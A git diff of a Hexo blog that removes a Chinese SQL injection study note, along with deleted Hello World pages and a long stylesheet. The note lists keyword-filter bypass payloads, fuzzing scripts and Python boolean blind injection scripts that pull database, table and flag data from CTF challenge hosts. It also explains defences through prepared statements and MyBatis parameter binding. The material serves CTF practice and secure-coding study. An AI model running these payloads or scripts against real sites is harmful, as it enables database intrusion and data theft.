绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1

7 过滤关键字 and, or, union, where, limit, group by, select

php代码 preg_match('/(and|or|union|where|limit|group by|select)/i', $id)

会过滤的攻击代码 1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1

绕过方式 1 && substr(user,1,1) = 'a'

8 过滤关键字 and, or, union, where, limit, group by, select, '

php代码 preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)

会过滤的攻击代码 1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1

绕过方式 1 && user_id is not null 1 && substr(user,1,1) = 0x61 1 && substr(user,1,1) = unhex(61)

9 过滤关键字 and, or, union, where, limit, group by, select, ', hex

php代码 preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)

会过滤的攻击代码 1 && substr(user,1,1) = unhex(61)

绕过方式 1 &&substr(user,1,1) =lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。

10 过滤关键字and,or,union,where,limit,groupby,select,', hex, substr

php代码 preg_match('/(and|or|union|where|limit|groupby|select|\'|hex|substr)/i', $id)

会过滤的攻击代码 1 &&substr(user,1,1) =lower(conv(11,10,16))/td>

绕过方式 1 &&lpad(user,7,1)

11 过滤关键字and,or,union,where,limit,groupby,select,', hex, substr, 空格

php代码 preg_match('/(and|or|union|where|limit|groupby|select|\'|hex|substr|\s)/i', $id)

会过滤的攻击代码 1 &&lpad(user,7,1)/td>

绕过方式 1%0b||%0blpad(user,7,1)

12 过滤关键字andorunionwhere

php代码 preg_match('/(and|or|union|where)/i',$id)

会过滤的攻击代码 1 || (selectuserfromuserswhereuser_id = 1) ='admin'

绕过方式 1 || (selectuserfromuserslimit1) ='admin'
- - - - -

- 0x03 FUZZ

- -

- 1 过滤字符的FUZZ

-

get

-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import requests

sql_char = ['select',
'union',
'and',
'or',
'sleep',
'where',
'from',
'limit',
'group',
'by',
'like',
'prepare',
'as',
'if',
'char',
'ascii',
'mid',
'left',
'right',
'substring',
'handler',
'updatexml',
'extractvalue',
'benchmark',
'insert',
'update',
'all',
'@',
'#',
'^',
'&',
'*',
'\'',
'"',
'~',
'`',
'(',
')',
'--',
'=',
'/',
'\\',
' ']

for char in sql_char:
res = requests.get("http://127.0.0.1/get.php?query="+char+"&submit2=sbumit")
if 'Illegal Char' in res.text:
print("该字符是非法字符: {0}".format(char))
else:
print("通过: {0}".format(char))

- -

post

-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import requests

sql_char = ['select',
'union',
'and',
'or',
'sleep',
'where',
'from',
'limit',
'group',
'by',
'like',
'prepare',
'as',
'if',
'char',
'ascii',
'mid',
'left',
'right',
'substring',
'handler',
'updatexml',
'extractvalue',
'benchmark',
'insert',
'update',
'all',
'@',
'#',
'^',
'&',
'*',
'\'',
'"',
'~',
'`',
'(',
')',
'--',
'=',
'/',
'\\',
' ']
url = "http://127.0.0.1/get.php"
header = {
'Host':'127.0.0.1',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding':'gzip, deflate',
'Content-Type':'application/x-www-form-urlencoded'
}
for char in sql_char:
post_data = "query=test"+char+"&submit2=sbumit"
res = requests.post(url,data=post_data,headers=header)
if 'Illegal Char' in res.text:
print("该字符是非法字符: {0}".format(char))
else:
print("通过: {0}".format(char))

- - - - -

- etc1 SQL注入的防御

- -

- 1、检查变量数据类型和格式

-

  如果你的SQL语句是类似where id={$id}这种形式,数据库里所有的id都是数字,那么就应该在SQL被执行前,检查确保变量id是int类型;如果是接受邮箱,那就应该检查并严格确保变量一定是邮箱的格式,其他的类型比如日期、时间等也是一个道理。总结起来:只要是有固定格式的变量,在SQL语句执行前,应该严格按照固定格式去检查,确保变量是我们预想的格式,这样很大程度上可以避免SQL注入攻击。
  比如,我们前面接受username参数例子中,我们的产品设计应该是在用户注册的一开始,就有一个用户名的规则,比如5-20个字符,只能由大小写字母、数字以及一些安全的符号组成,不包含特殊字符。此时我们应该有一个check_username的函数来进行统一的检查。不过,仍然有很多例外情况并不能应用到这一准则,比如文章发布系统,评论系统等必须要允许用户提交任意字符串的场景,这就需要采用过滤等其他方案了。

- -

- 2、过滤特殊符号

-

  对于无法确定固定格式的变量,一定要进行特殊符号过滤或转义处理。

- -

- 3、绑定变量,使用预编译语句

-

  MySQL的mysqli驱动提供了预编译语句的支持,不同的程序语言,都分别有使用预编译语句的方法

-

  实际上,绑定变量使用预编译语句是预防SQL注入的最佳方式,使用预编译的SQL语句语义不会发生改变,在SQL语句中,变量用问号?表示,黑客即使本事再大,也无法改变SQL语句的结构

- -

- etc2 预编译

- -

- 1 什么是sql预编译**

-

1.1:预编译语句是什么 

-

通常我们的一条sql在db接收到最终执行完毕返回可以分为下面三个过程:

-
    -
  1. 词法和语义解析  
  2. -
  3. 优化sql语句,制定执行计划
  4. -
  5. 执行并返回结果
  6. -
-

我们把这种普通语句称作Immediate Statements。  

-

但是很多情况,我们的一条sql语句可能会反复执行,或者每次执行的时候只有个别的值不同(比如query的where子句值不同,update的set子句值不同,insert的values值不同)。
如果每次都需要经过上面的词法语义解析、语句优化、制定执行计划等,则效率就明显不行了。

-

  所谓预编译语句就是将这类语句中的值用占位符替代,可以视为将sql语句模板化或者说参数化,一般称这类语句叫Prepared Statements或者Parameterized Statements
  预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止sql注入。
  当然就优化来说,很多时候最优的执行计划不是光靠知道sql语句的模板就能决定了,往往就是需要通过具体值来预估出成本代价。

-

1.2: MySQL的预编译功能

-

  注意MySQL的老版本(4.1之前)是不支持服务端预编译的,但基于目前业界生产环境普遍情况,基本可以认为MySQL支持服务端预编译。

-

 下面我们来看一下MySQL中预编译语句的使用。
  (1)建表 首先我们有一张测试表t,结构如下所示:

-
1
2
3
4
5
6
7
8
mysql> show create table t\G
*************************** 1. row ***************************
Table: t
Create Table: CREATE TABLE `t` (
`a` int(11) DEFAULT NULL,
`b` varchar(20) DEFAULT NULL,
UNIQUE KEY `ab` (`a`,`b`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8
- - - -

 (2)编译

-

  我们接下来通过 PREPARE stmt_name FROM preparable_stm的语法来预编译一条sql语句

-
1
2
3
mysql> prepare ins from 'insert into t select ?,?';
Query OK, 0 rows affected (0.00 sec)
Statement prepared
- -

 (3)执行

-

  我们通过EXECUTE stmt_name [USING @var_name [, @var_name] ...]的语法来执行预编译语句

-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
mysql> set @a=999,@b='hello';
Query OK, 0 rows affected (0.00 sec)

mysql> execute ins using @a,@b;
Query OK, 1 row affected (0.01 sec)
Records: 1 Duplicates: 0 Warnings: 0

mysql> select * from t;
+------+-------+
| a | b |
+------+-------+
| 999 | hello |
+------+-------+
1 row in set (0.00 sec)
- - - -

  可以看到,数据已经被成功插入表中。

-

  MySQL中的预编译语句作用域是session级,但我们可以通过max_prepared_stmt_count变量来控制全局最大的存储的预编译语句。

-
1
2
3
4
5
mysql> set @@global.max_prepared_stmt_count=1;
Query OK, 0 rows affected (0.00 sec)

mysql> prepare sel from 'select * from t';
ERROR 1461 (42000): Can't create more than max_prepared_stmt_count statements (current value: 1)
- -

当预编译条数已经达到阈值时可以看到MySQL会报如上所示的错误。

-

(4)释放
  如果我们想要释放一条预编译语句,则可以使用{DEALLOCATE | DROP} PREPARE stmt_name的语法进行操作:

-
1
2
mysql> deallocate prepare ins;
Query OK, 0 rows affected (0.00 sec)
- - -

- 2:为什么PrepareStatement可以防止sql注入

-

  原理是采用了预编译的方法,先将SQL语句中可被客户端控制的参数集进行编译,生成对应的临时变量集,再使用对应的设置方法,为临时变量集里面的元素进行赋值,赋值函数setString(),会对传入的参数进行强制类型检查和安全检查,所以就避免了SQL注入的产生。下面具体分析

-

 (1):为什么Statement会被sql注入

-

  因为Statement之所以会被sql注入是因为SQL语句结构发生了变化。比如:

-
1
2
"select*from tablename where username='"+uesrname+  
"'and password='"+password+"'"
- -

  在用户输入’or true or’之后sql语句结构改变。

-
1
select*from tablename where username=''or true or'' and password=''
- -

  这样本来是判断用户名和密码都匹配时才会计数,但是经过改变后变成了或的逻辑关系,不管用户名和密码是否匹配该式的返回值永远为true;

-

 (2)为什么Preparement可以防止SQL注入。

-

  因为Preparement样式为

-
1
select*from tablename where username=? and password=?
- -

  该SQL语句会在得到用户的输入之前先用数据库进行预编译,这样的话不管用户输入什么用户名和密码的判断始终都是并的逻辑关系,防止了SQL注入

-

  简单总结,参数化能防注入的原因在于,语句是语句,参数是参数,参数的值并不是语句的一部分,数据库只按语句的语义跑,至于跑的时候是带一个普通背包还是一个怪物,不会影响行进路线,无非跑的快点与慢点的区别。

-
- -

- 3:mybatis是如何防止SQL注入的

-

  1、首先看一下下面两个sql语句的区别:

-
1
2
3
4
5
6
<select id="selectByNameAndPassword" parameterType="java.util.Map" resultMap="BaseResultMap">
select id, username, password, role
from user
where username = #{username,jdbcType=VARCHAR}
and password = #{password,jdbcType=VARCHAR}
</select>
- - - -
1
2
3
4
5
6
<select id="selectByNameAndPassword" parameterType="java.util.Map" resultMap="BaseResultMap">
select id, username, password, role
from user
where username = ${username,jdbcType=VARCHAR}
and password = ${password,jdbcType=VARCHAR}
</select>
- - - -

mybatis中的#和$的区别:

-

  1、#将传入的数据都当成一个字符串,会对自动传入的数据加一个双引号。
如:where username=#{username},如果传入的值是111,那么解析成sql时的值为where username=”111”, 如果传入的值是id,则解析成的sql为where username=”id”. 
  2、$将传入的数据直接显示生成在sql中。
如:where username=${username},如果传入的值是111,那么解析成sql时的值为where username=111;
如果传入的值是;drop table user;,则解析成的sql为:select id, username, password, role from user where username=;drop table user;
  3、#方式能够很大程度防止sql注入,$方式无法防止Sql注入。
  4、$方式一般用于传入数据库对象,例如传入表名.
  5、一般能用#的就别用$,若不得不使用“${xxx}”这样的参数,要手工地做好过滤工作,来防止sql注入攻击。
  6、在MyBatis中,“${xxx}”这样格式的参数会直接参与SQL编译,从而不能避免注入攻击。但涉及到动态表名和列名时,只能使用“${xxx}”这样的参数格式。所以,这样的参数需要我们在代码中手工进行处理来防止注入。**
【结论】在编写MyBatis的映射语句时,尽量采用“#{xxx}”这样的格式。若不得不使用“${xxx}”这样的参数,要手工地做好过滤工作,来防止SQL注入攻击。**

- -

- 4 mybatis是如何做到防止sql注入的

-

  MyBatis框架作为一款半自动化的持久层框架,其SQL语句都要我们自己手动编写,这个时候当然需要防止SQL注入。其实,MyBatis的SQL是一个具有“输入+输出”的功能,类似于函数的结构,参考上面的两个例子。其中,parameterType表示了输入的参数类型,resultType表示了输出的参数类型。回应上文,如果我们想防止SQL注入,理所当然地要在输入参数上下功夫。上面代码中使用#的即输入参数在SQL中拼接的部分,传入参数后,打印出执行的SQL语句,会看到SQL是这样的:

-
1
select id, username, password, role from user where username=? and password=?
- -

  不管输入什么参数,打印出的SQL都是这样的。这是因为MyBatis启用了预编译功能,在SQL执行前,会先将上面的SQL发送给数据库进行编译;执行时,直接使用编译好的SQL,替换占位符“?”就可以了。因为SQL注入只能对编译过程起作用,所以这样的方式就很好地避免了SQL注入的问题。

-

  【底层实现原理】MyBatis是如何做到SQL预编译的呢?其实在框架底层,是JDBC中的PreparedStatement类在起作用,PreparedStatement是我们很熟悉的Statement的子类,它的对象包含了编译好的SQL语句。这种“准备好”的方式不仅能提高安全性,而且在多次执行同一个SQL时,能够提高效率。原因是SQL已编译好,再次执行时无需再编译

- -

- 脚本

- -

- sql布尔盲注

-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
url = "http://124.156.121.112:28069/?id=-1'/**/"
def db(url): #爆库名
for i in range(1,5):
for j in range(32,128):
u= "or/**/ascii(substr(database()/**/from/**/"+str(i)+"/**/for/**/1))="+str(j)+"#"
s = url+u
print(s)
r = requests.get(s)
if 'By Rudyard Kipling' in r.text:
print(chr(j))

def table(url): #爆表名
for i in range(4):
table_name=''
for j in range(1,6):
for k in range(48,128):
u=id="||/**/ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/1/**/offset/**/"+str(i)+")/**/from/**/"+str(j)+"/**/for/**/1))="+str(k)+"#"
s = url+u
print(s)
r = requests.get(s)
if 'By Rudyard Kipling' in r.text:
table_name+=chr(k)
print(table_name)
- - - -
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
s=requests.session()
url='https://46a0f98e-cdc3-413d-b67c-b2dbaeb5c4ec.chall.ctf.show/index.php'
table=""

for i in range(1,45):
print(i)
for j in range(31,128):
#爆表名 flag
payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#爆字段名 flag
#payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#读取flag
#payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j))

ra = s.get(url=url + '?id=0/**/or/**/' + payload).text

if 'I asked nothing' in ra:
table += chr(j)
print(table)
break

- - - -
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
s=requests.session()
url='http://ab7573d3-1de2-42bd-bc68-26aaca8af4dc.chall.ctf.show/index.php'
table=""

for i in range(1,45):
print(i)
for j in range(31,128):
#爆表名 flag
#payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#爆字段名 flag
#payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#读取flag
payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j))

ra = s.get(url=url + '?id=0/**/or/**/' + payload).text

if 'I asked nothing' in ra:
table += chr(j)
print(table)
break

- - - - - - - - - - - -
\ No newline at end of file diff --git a/2021/12/01/hello-world/index.html b/2021/12/01/hello-world/index.html deleted file mode 100644 index 8229108..0000000 --- a/2021/12/01/hello-world/index.html +++ /dev/null @@ -1,68 +0,0 @@ - - - - - - - - - - -Hello World | Hexo

Hello World

Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.

- -

- Quick Start

- -

- Create a new post

-
1
$ hexo new "My New Post"
- -

More info: Writing

- -

- Run server

-
1
$ hexo server
- -

More info: Server

- -

- Generate static files

-
1
$ hexo generate
- -

More info: Generating

- -

- Deploy to remote sites

-
1
$ hexo deploy
- -

More info: Deployment

-
\ No newline at end of file diff --git a/_config.yml b/_config.yml new file mode 100644 index 0000000..2f7efbe --- /dev/null +++ b/_config.yml @@ -0,0 +1 @@ +theme: jekyll-theme-minimal \ No newline at end of file diff --git a/archives/2021/12/index.html b/archives/2021/12/index.html deleted file mode 100644 index 44972ed..0000000 --- a/archives/2021/12/index.html +++ /dev/null @@ -1,31 +0,0 @@ - - - - - - -Archive | Hexo
Total 2 Articles, Go on!
\ No newline at end of file diff --git a/archives/2021/index.html b/archives/2021/index.html deleted file mode 100644 index 1b9b5f1..0000000 --- a/archives/2021/index.html +++ /dev/null @@ -1,31 +0,0 @@ - - - - - - -Archive | Hexo
Total 2 Articles, Go on!
\ No newline at end of file diff --git a/archives/index.html b/archives/index.html deleted file mode 100644 index c803e35..0000000 --- a/archives/index.html +++ /dev/null @@ -1,31 +0,0 @@ - - - - - - -Archive | Hexo
Total 2 Articles, Go on!
\ No newline at end of file diff --git a/css/index.css b/css/index.css deleted file mode 100644 index 8fdccb3..0000000 --- a/css/index.css +++ /dev/null @@ -1,2506 +0,0 @@ -html { - line-height: 1.15; /* 1 */ - -webkit-text-size-adjust: 100%; /* 2 */ -} -body { - margin: 0; -} -main { - display: block; -} -h1 { - margin: 0.67em 0; - font-size: 2em; -} -hr { - overflow: visible; /* 2 */ - box-sizing: content-box; /* 1 */ - height: 0; /* 1 */ -} -pre { - font-family: monospace, monospace; /* 1 */ - font-size: 1em; /* 2 */ -} -a { - background-color: transparent; -} -abbr[title] { - border-bottom: none; /* 1 */ - text-decoration: underline; /* 2 */ - text-decoration: underline dotted; /* 2 */ -} -b, -strong { - font-weight: bolder; -} -code, -kbd, -samp { - font-family: monospace, monospace; /* 1 */ - font-size: 1em; /* 2 */ -} -small { - font-size: 80%; -} -sub, -sup { - position: relative; - font-size: 75%; - line-height: 0; - vertical-align: baseline; -} -sub { - bottom: -0.25em; -} -sup { - top: -0.5em; -} -img { - border-style: none; -} -button, -input, -optgroup, -select, -textarea { - margin: 0; /* 2 */ - font-family: inherit; /* 1 */ - font-size: 100%; /* 1 */ - line-height: 1.15; /* 1 */ -} -button, -input { - overflow: visible; /* 1 */ -} -button, -select { - text-transform: none; /* 1 */ -} -button, -[type='button'], -[type='reset'], -[type='submit'] { - -webkit-appearance: button; -} -button::-moz-focus-inner, -[type='button']::-moz-focus-inner, -[type='reset']::-moz-focus-inner, -[type='submit']::-moz-focus-inner { - border-style: none; - padding: 0; -} -button:-moz-focusring, -[type='button']:-moz-focusring, -[type='reset']:-moz-focusring, -[type='submit']:-moz-focusring { - outline: 1px dotted ButtonText; -} -fieldset { - padding: 0.35em 0.75em 0.625em; -} -legend { - display: table; /* 1 */ - box-sizing: border-box; /* 1 */ - padding: 0; /* 3 */ - max-width: 100%; /* 1 */ - white-space: normal; /* 1 */ - color: inherit; /* 2 */ -} -progress { - vertical-align: baseline; -} -textarea { - overflow: auto; -} -[type='checkbox'], -[type='radio'] { - box-sizing: border-box; /* 1 */ - padding: 0; /* 2 */ -} -[type='number']::-webkit-inner-spin-button, -[type='number']::-webkit-outer-spin-button { - height: auto; -} -[type='search'] { - outline-offset: -2px; /* 2 */ - -webkit-appearance: textfield; /* 1 */ -} -[type='search']::-webkit-search-decoration { - -webkit-appearance: none; -} -::-webkit-file-upload-button { - font: inherit; /* 2 */ - -webkit-appearance: button; /* 1 */ -} -details { - display: block; -} -summary { - display: list-item; -} -template { - display: none; -} -[hidden] { - display: none; -} -html { - line-height: 1.15; /* 1 */ - -webkit-text-size-adjust: 100%; /* 2 */ -} -body { - margin: 0; -} -main { - display: block; -} -h1 { - margin: 0.67em 0; - font-size: 2em; -} -hr { - overflow: visible; /* 2 */ - -webkit-box-sizing: content-box; - -moz-box-sizing: content-box; - box-sizing: content-box; /* 1 */ - height: 0; /* 1 */ -} -pre { - font-family: monospace, monospace; /* 1 */ - font-size: 1em; /* 2 */ -} -a { - background-color: transparent; -} -abbr[title] { - border-bottom: none; /* 1 */ - text-decoration: underline; /* 2 */ - text-decoration: underline dotted; /* 2 */ -} -b, -strong { - font-weight: bolder; -} -code, -kbd, -samp { - font-family: monospace, monospace; /* 1 */ - font-size: 1em; /* 2 */ -} -small { - font-size: 80%; -} -sub, -sup { - position: relative; - font-size: 75%; - line-height: 0; - vertical-align: baseline; -} -sub { - bottom: -0.25em; -} -sup { - top: -0.5em; -} -img { - border-style: none; -} -button, -input, -optgroup, -select, -textarea { - margin: 0; /* 2 */ - font-family: inherit; /* 1 */ - font-size: 100%; /* 1 */ - line-height: 1.15; /* 1 */ -} -button, -input { - overflow: visible; /* 1 */ -} -button, -select { - text-transform: none; /* 1 */ -} -button, -[type='button'], -[type='reset'], -[type='submit'] { - -webkit-appearance: button; -} -button::-moz-focus-inner, -[type='button']::-moz-focus-inner, -[type='reset']::-moz-focus-inner, -[type='submit']::-moz-focus-inner { - border-style: none; - padding: 0; -} -button:-moz-focusring, -[type='button']:-moz-focusring, -[type='reset']:-moz-focusring, -[type='submit']:-moz-focusring { - outline: 1px dotted ButtonText; -} -fieldset { - padding: 0.35em 0.75em 0.625em; -} -legend { - display: table; /* 1 */ - -webkit-box-sizing: border-box; - -moz-box-sizing: border-box; - box-sizing: border-box; /* 1 */ - padding: 0; /* 3 */ - max-width: 100%; /* 1 */ - white-space: normal; /* 1 */ - color: inherit; /* 2 */ -} -progress { - vertical-align: baseline; -} -textarea { - overflow: auto; -} -[type='checkbox'], -[type='radio'] { - -webkit-box-sizing: border-box; - -moz-box-sizing: border-box; - box-sizing: border-box; /* 1 */ - padding: 0; /* 2 */ -} -[type='number']::-webkit-inner-spin-button, -[type='number']::-webkit-outer-spin-button { - height: auto; -} -[type='search'] { - outline-offset: -2px; /* 2 */ - -webkit-appearance: textfield; /* 1 */ -} -[type='search']::-webkit-search-decoration { - -webkit-appearance: none; -} -::-webkit-file-upload-button { - font: inherit; /* 2 */ - -webkit-appearance: button; /* 1 */ -} -details { - display: block; -} -summary { - display: list-item; -} -template { - display: none; -} -[hidden] { - display: none; -} -:root { - --color-gray-100: #fff; - --color-gray-150: #f9f9f9; - --color-gray-200: #f5f6f7; - --color-gray-250: #efefef; - --color-gray-260: #e5e7ea; - --color-gray-300: #dadada; - --color-gray-400: #ccd0d5; - --color-gray-500: #bec3c9; - --color-gray-550: #adadad; - --color-gray-600: #8d949e; - --color-gray-650: #757474; - --color-gray-700: #606770; - --color-gray-800: #444950; - --color-gray-850: #303846; - --color-gray-900: #2c323c; - --color-gray-950: #1c1e21; - --color-font: var(--color-gray-900); - --color-card: var(--color-gray-100); - --color-blue-200: #ebeef5; -} -html.nightmode { - --color-gray-100: #1c1e21; - --color-gray-150: #2c323c; - --color-gray-200: #303846; - --color-gray-250: #444950; - --color-gray-260: #555b64; - --color-gray-300: #606770; - --color-gray-400: #757474; - --color-gray-500: #8d949e; - --color-gray-550: #959595; - --color-gray-600: #bec3c9; - --color-gray-650: #ccd0d5; - --color-gray-700: #dadada; - --color-gray-800: #eaecef; - --color-gray-850: #f5f6f7; - --color-gray-900: #f9f9f9; - --color-gray-950: #fff; - --color-font: var(--color-gray-600); - --color-card: var(--color-gray-150); - --color-blue-200: #444950; -} -::selection { - color: #fff; - background-color: #8be0e1; -} -*, -*::before, -*::after { - -webkit-box-sizing: inherit; - -moz-box-sizing: inherit; - box-sizing: inherit; -} -html { - -webkit-box-sizing: border-box; - -moz-box-sizing: border-box; - box-sizing: border-box; - font-size: 20px; -} -body { - margin: 0; - padding: 0; - font-family: 'PingFang SC', 'Microsoft YaHei', sans-serif, Arial; - font-size: 14px; - line-height: 2; - color: var(--color-font); - background-color: var(--color-gray-250); -} -h1, -h2, -h3, -h4, -h5, -h6 { - padding: 0; - font-family: 'PingFang SC', 'Microsoft YaHei', sans-serif, Arial; - font-weight: 700; - line-height: 1.5; -} -h1 { - font-size: 2em; -} -h2 { - font-size: 1.5em; -} -h3 { - font-size: 1.25em; -} -h4 { - font-size: 1em; -} -h5 { - font-size: 0.875em; -} -h6 { - font-size: 0.85em; -} -p { - margin: 0 0 1rem; -} -a { - text-decoration: none; - color: #058ed2; - background-color: transparent; - outline: none; - cursor: pointer; -} -img, -video, -iframe { - display: block; - margin-right: auto; - margin-left: auto; - max-width: 100%; -} -hr { - margin: 1rem 0; - border: 2px dashed #b8dcfd; - height: 0; -} -blockquote { - margin: 0; - border-left: 5px solid var(--color-gray-300); - padding: 0 1rem; - background-color: var(--color-gray-200); -} -blockquote cite::before { - content: '--'; - padding: 0 0.25rem; -} -code { - white-space: normal; - word-wrap: break-word; - word-break: break-word; - border-radius: 3px; - padding: 1px 5px; - font-family: 'Source Code Pro', Consolas, Menlo, Monaco, 'Courier New', monospace; - font-size: 0.95em; - color: var(--color-gray-700); - background-color: var(--color-gray-200); -} -dt { - font-weight: 700; -} -dd { - margin: 0; - padding: 0; -} -table { - border-spacing: 0; - border-collapse: collapse; - width: 100%; -} -th, -td { - border: 1px solid var(--color-blue-200); - padding: 0 5px; -} -acronym, -abbr { - cursor: help; -} -kbd { - display: inline-block; - border: 1px solid var(--color-gray-500); - border-radius: 3px; - padding: 0.1rem 0.2rem; - font-family: consolas, 'Liberation Mono', courier, monospace; - font-size: 0.85em; - font-weight: 700; - line-height: 1; - white-space: nowrap; - color: var(--color-gray-850); - background-color: var(--color-gray-150); - -webkit-box-shadow: 0 -1px 0 var(--color-gray-300) inset; - box-shadow: 0 -1px 0 var(--color-gray-300) inset; -} -.clearfix { - zoom: 1; -} -.clearfix:before, -.clearfix:after { - content: ""; - display: table; -} -.clearfix:after { - clear: both; -} -[data-popover] { - position: relative; -} -[data-popover]::before { - position: absolute; - top: 0; - left: 50%; - z-index: 2; - font-family: sans-serif, Arial; - font-size: 14px; - font-weight: normal; - font-style: normal; - line-height: 2; - white-space: nowrap; - color: #fff; - background-color: rgba(0,0,0,0.9); - opacity: 0; - -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; - filter: alpha(opacity=0); - text-shadow: none; - -webkit-transition: opacity 0.2s ease, -webkit-transform 0.2s ease; - -moz-transition: opacity 0.2s ease, -moz-transform 0.2s ease; - -o-transition: opacity 0.2s ease, -o-transform 0.2s ease; - -ms-transition: opacity 0.2s ease, -ms-transform 0.2s ease; - transition: opacity 0.2s ease, transform 0.2s ease; - -webkit-transform: translate(-50%, -70%); - -moz-transform: translate(-50%, -70%); - -o-transform: translate(-50%, -70%); - -ms-transform: translate(-50%, -70%); - transform: translate(-50%, -70%); - pointer-events: none; -} -[data-popover]::before { - content: attr(data-popover); - border-radius: 4px; - padding: 0.2rem 0.6rem; -} -@media (min-width: 991.98px) { - [data-popover-pos='up']:hover::before { - opacity: 1; - -ms-filter: none; - filter: none; - -webkit-transform: translate(-50%, -120%); - -moz-transform: translate(-50%, -120%); - -o-transform: translate(-50%, -120%); - -ms-transform: translate(-50%, -120%); - transform: translate(-50%, -120%); - } -} -.stun-message { - position: fixed; - top: 1rem; - left: 50%; - z-index: 2; - -webkit-transform: translateX(-50%); - -moz-transform: translateX(-50%); - -o-transform: translateX(-50%); - -ms-transform: translateX(-50%); - transform: translateX(-50%); -} -.stun-alert { - position: relative; - border-radius: 3px; - padding: 8px 12px; - font-size: 16px; - line-height: 1rem; - background-color: #fff; - -webkit-box-shadow: 0 4px 12px rgba(0,0,0,0.15); - box-shadow: 0 4px 12px rgba(0,0,0,0.15); -} -.stun-alert-success { - color: #52c41a; -} -.stun-alert-success ~ i { - color: #52c41a; -} -.stun-alert-info { - color: #1890ff; -} -.stun-alert-info ~ i { - color: #1890ff; -} -.stun-alert-warning { - color: #faad14; -} -.stun-alert-warning ~ i { - color: #faad14; -} -.stun-alert-error { - color: #f5222d; -} -.stun-alert-error ~ i { - color: #f5222d; -} -.stun-alert-description { - margin-left: 0.5rem; -} -.anime-close::before, -.anime-close::after { - -webkit-transition: -webkit-transform 0.2s ease; - -moz-transition: -moz-transform 0.2s ease; - -o-transition: -o-transform 0.2s ease; - -ms-transition: -ms-transform 0.2s ease; - transition: transform 0.2s ease; - -webkit-transform: rotate(-45deg); - -moz-transform: rotate(-45deg); - -o-transform: rotate(-45deg); - -ms-transform: rotate(-45deg); - transform: rotate(-45deg); -} -.anime-close::after { - -webkit-transform: rotate(-135deg); - -moz-transform: rotate(-135deg); - -o-transform: rotate(-135deg); - -ms-transform: rotate(-135deg); - transform: rotate(-135deg); -} -.anime-close:hover::before, -.anime-close:hover::after { - -webkit-transform: rotate(0); - -moz-transform: rotate(0); - -o-transform: rotate(0); - -ms-transform: rotate(0); - transform: rotate(0); -} -.container { - white-space: normal; - word-wrap: break-word; - word-break: break-word; - display: -webkit-box; - display: -moz-box; - display: -webkit-flex; - display: -ms-flexbox; - display: box; - display: flex; - overflow: hidden; /* !!! */ - position: relative; - min-height: 100vh; - -webkit-box-orient: vertical; - -moz-box-orient: vertical; - -o-box-orient: vertical; - -webkit-flex-direction: column; - -ms-flex-direction: column; - flex-direction: column; -} -.header { - -webkit-box-flex: 1; - -moz-box-flex: 1; - -o-box-flex: 1; - box-flex: 1; - -webkit-flex: 0 0 auto; - -ms-flex: 0 0 auto; - flex: 0 0 auto; -} -.footer { - -webkit-box-flex: 1; - -moz-box-flex: 1; - -o-box-flex: 1; - box-flex: 1; - -webkit-flex: 0 0 auto; - -ms-flex: 0 0 auto; - flex: 0 0 auto; -} -.main { - width: 100%; - -webkit-box-flex: 1; - -moz-box-flex: 1; - -o-box-flex: 1; - box-flex: 1; - -webkit-flex: 1 0 auto; - -ms-flex: 1 0 auto; - flex: 1 0 auto; -} -.main-inner { - margin: 0 auto; - padding: 20px; - width: 100%; - font-size: 16px; -} -.content-wrap { - width: calc(100% - 330px); - float: left; -} -.content-wrap--noside { - float: none; - margin: 0 auto; -} -.content { - width: 100%; - border-radius: 5px; - padding: 1rem 2rem; - background-color: var(--color-card); -} -.content img { - border: 1px solid var(--color-gray-300); - border-radius: 3px; - padding: 0.2rem; -} -.content h1:hover .heading-link, -.content h2:hover .heading-link, -.content h3:hover .heading-link, -.content h4:hover .heading-link, -.content h5:hover .heading-link, -.content h6:hover .heading-link { - visibility: visible; -} -.heading-link { - display: inline-block; - visibility: hidden; - margin: -10px 0 0 -20px; - padding-right: 